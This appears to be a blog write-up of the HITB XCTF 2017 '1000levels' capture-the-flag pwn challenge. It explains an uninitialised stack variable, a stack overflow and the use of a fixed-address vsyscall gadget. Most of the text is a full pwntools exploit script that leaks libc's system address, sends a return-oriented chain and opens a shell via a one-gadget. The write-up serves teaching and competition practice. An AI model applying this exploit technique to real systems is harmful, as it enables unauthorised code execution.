HITB XCTF 2017 PWN 1000level Write-up

Introduction

Points: 606 Solved: 14

This challenge contains two vulnerabilities in binary one is uninitialised stack variable and the other is stack buffer overflow.

The tricky part of this challenge is to find ret instruction in vsyscall area at a fixed address in memory.   Since 2012, the community has realised that such gadgets at a fixed address may be a vulnerability. In recent release of Linux, vsyscall has beed replaced by vdso, whose base address is also randomised [1].  To debug the target binary, we have to modify the /etc/defaults/grub as following to enable vsyscall for exploitation [2].

GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz vdso=0 vsyscall=native"

Target Analysis

Uninitialised Stack Variable

In hint function, the address of system will be stored at $rbp-0x110. In go function, if the first input number is a negative number, the value located at $rbp-0x110 will not be updated with new value. The value of system will be used in the following calculation.

Stack Buffer Overflow

In level function, we can write 0x400 bytes into stack while stack buffer is only of 40 bytes.

Exploit Plan

Since the go function ends with exit(0), we have to go back to main function or somewhere else. Initially, we want to just jump back to main+0x56, which is the return address of go function. But we find that leave instruction will corrupt the value in $rbp and cause segmentation fault later. So we have to find another return address. After checking the stack, we find that address of _start is in stack. That’s much better and we can restart the program and reset $rbp again.

So the following steps is just to repeat those steps and leak the value of system byte by byte.

Exploit

from pwn import *

libc = ELF("./libc.so.6");
target = ELF("./1000levels");

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("47.74.147.103", 20001);
elif(DEBUG == 1):
    r = process("./1000levels");
elif(DEBUG == 2):
    r = process("./1000levels");
    gdb.attach(r, '''source ./script''');

def leak(curOffset, index):
    rc = 998;
    if(index == 6):
        rc = 910;

    log.info("testing: %d th bit" % index);
    curRound = 0x1000000000 >> (index*4);
    r.recvuntil("Choice:");
    r.sendline("2");
    r.recvuntil("Choice:");
    r.sendline("1");
    r.recvuntil("?");
    r.sendline("-1");
    r.recvuntil("?");
    r.sendline(str( -140737488355328 + curOffset));
    r.recvline();
    line = r.recvline();
    if("Coward" not in line):
        log.info("0x%x" % 0);
        solve();
        return 0;

    for i in range(0, 0x10):
        r.recvuntil("Choice:");
        r.sendline("1");
        r.recvuntil("?");
        r.sendline("-1");
        r.recvuntil("?");
        r.sendline(str( curRound));
        r.recvline();
        line = r.recvline();
        if("Coward" not in line):
            log.info("0x%x" % i);
            solve(rc);
            return (i)*curRound;

def solve(rcount):
    for i in range(0, rcount):
        ques = r.recvuntil("Answer:").split('\n')[-1];
        #log.info("%s" % ques);
        num1 = int( ques.split()[1] );
        num2 = int( ques.split()[3] );
        r.sendline(str(num1 * num2))

    r.recvuntil("Answer:");
    r.send( "0000000 "+ "\x30"*0x30 +  p64(0xffffffffff600000)*0x26 );

def halt():
    while(True):
        log.info(r.recvline());

def exploit():
    systemRelAddr = libc.symbols['system'];
    onegadgetRelAddr = 0x4526a;
    log.info("system relative address: 0x%x" % systemRelAddr);

    ans = 0x390;
    curoff = 0;
    for i in range(0, 7):
        leakValue = leak(curoff, i);
        ans = 0x7ffffffff390;
        log.info("leak value: 0x%10x" % leakValue);
        curoff += leakValue;
        ans = ans - curoff;
        log.info("current addr: 0x%10x" % ans);
    libcBase = ans - systemRelAddr;
    onegadgetAddr = libcBase + onegadgetRelAddr;

    r.recvuntil("Choice:");
    r.sendline("1");
    r.recvuntil("?");
    r.sendline("1");
    r.recvuntil("?");
    r.sendline("1");
    r.recvuntil("Answer:");
    r.sendline("A"*0x38 + p64(onegadgetAddr) +p64(0) * 0x20);
    r.interactive();

exploit();

Reference

  1. https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1018415
  2. http://inaz2.hatenablog.com/?page=1408462866

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.